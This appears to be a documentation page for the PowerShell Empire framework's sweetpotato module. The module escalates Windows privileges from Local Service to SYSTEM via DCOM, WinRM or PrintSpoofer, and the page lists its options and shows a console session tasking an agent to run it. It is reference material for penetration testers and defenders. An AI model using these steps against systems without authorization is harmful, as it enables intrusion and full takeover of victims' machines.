Sweet Potato Local Service to SYSTEM Privilege Escalation - Empire Module


This page contains detailed information about how to use the powershell/privesc/sweetpotato Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Sweet Potato Local Service to SYSTEM Privilege Escalation
Module: powershell/privesc/sweetpotato
Source code [1]: empire/server/modules/powershell/privesc/sweetpotato.yaml
Source code [2]: empire/server/data/module_source/privesc/Invoke-SweetPotato.ps1
MITRE ATT&CK: T1068
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: No

The sweetpotato module abuses default privileges given to Local Service accounts to spawn a process as SYSTEM. Tested on Server 2019 and Windows 10 1909 (Build 18363.1316). Run a Powershell stager or your own command.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the sweetpotato module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the sweetpotato module:

Agent
Agent to run on.

Additional Module Options

This is a list of additional options that are supported by the sweetpotato module:

Binary
Full path to the process to spawn. Default: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.

CommandArguments
Arguments to pass to the process binary. Default: No arguments.

ExploitMethod
Exploit mode: [DCOM|WinRM|PrintSpoofer]. Default: PrintSpoofer.

ListenPort
Port to host internal impersonation server on. Default: 6666.

Sweetpotato Example Usage

Here's an example of how to use the sweetpotato module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/privesc/sweetpotato

 Author       @_EthicalChaos_ (@CCob)                                              
              @kevin                                                               
 Background   False                                                                
 Comments     https://github.com/CCob/SweetPotato                                  
 Description  Abuses default privileges given to Local Service accounts to spawn a 
              process as SYSTEM. Tested on Server 2019 and Windows 10 1909 (Build  
              18363.1316). Run a Powershell stager or your own command.            
 Language     powershell                                                           
 Name         powershell/privesc/sweetpotato                                       
 NeedsAdmin   False                                                                
 OpsecSafe    False                                                                
 Techniques   http://attack.mitre.org/techniques/T1068                             


,Record Options----,-------,----------,-------------------------------------,
| Name             | Value | Required | Description                         |
|------------------|-------|----------|-------------------------------------|
| Agent            |       | True     | Agent to run on.                    |
|------------------|-------|----------|-------------------------------------|
| Binary           |       | False    | Full path to the process to spawn.  |
|                  |       |          | Default: C:\Windows\System32\Window |
|                  |       |          | sPowerShell\v1.0\powershell.exe     |
|------------------|-------|----------|-------------------------------------|
| CommandArguments |       | False    | Arguments to pass to the process    |
|                  |       |          | binary. Default: No arguments       |
|------------------|-------|----------|-------------------------------------|
| ExploitMethod    |       | False    | Exploit mode:                       |
|                  |       |          | [DCOM|WinRM|PrintSpoofer]. Default: |
|                  |       |          | PrintSpoofer                        |
|------------------|-------|----------|-------------------------------------|
| ListenPort       |       | False    | Port to host internal impersonation |
|                  |       |          | server on. Default: 6666            |
'------------------'-------'----------'-------------------------------------'

(Empire: usemodule/powershell/privesc/sweetpotato) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/privesc/sweetpotato) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.